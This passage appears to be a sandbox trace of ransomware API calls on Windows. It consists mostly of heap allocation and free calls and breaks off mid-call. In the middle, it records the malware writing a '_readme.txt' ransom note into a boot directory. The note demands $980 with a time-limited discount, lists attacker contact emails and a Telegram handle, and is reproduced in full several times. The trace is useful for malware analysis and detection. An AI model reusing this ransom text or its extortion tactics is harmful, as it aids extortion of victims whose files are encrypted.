(HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.617] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.618] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.619] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.620] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.620] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.620] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.620] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.620] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.620] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.620] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.620] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.620] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0124.620] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.620] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.620] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.620] PathFindFileNameW (pszPath="") returned="" [0124.620] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.620] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.620] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.620] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.620] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.620] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.620] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.621] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.621] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0124.621] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.621] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.621] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0124.622] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.622] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.622] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.622] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.622] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.622] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.622] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.622] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.622] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.622] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.623] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.623] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.623] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.623] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.623] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.623] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.623] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.623] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.623] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.623] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.623] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.623] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.623] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 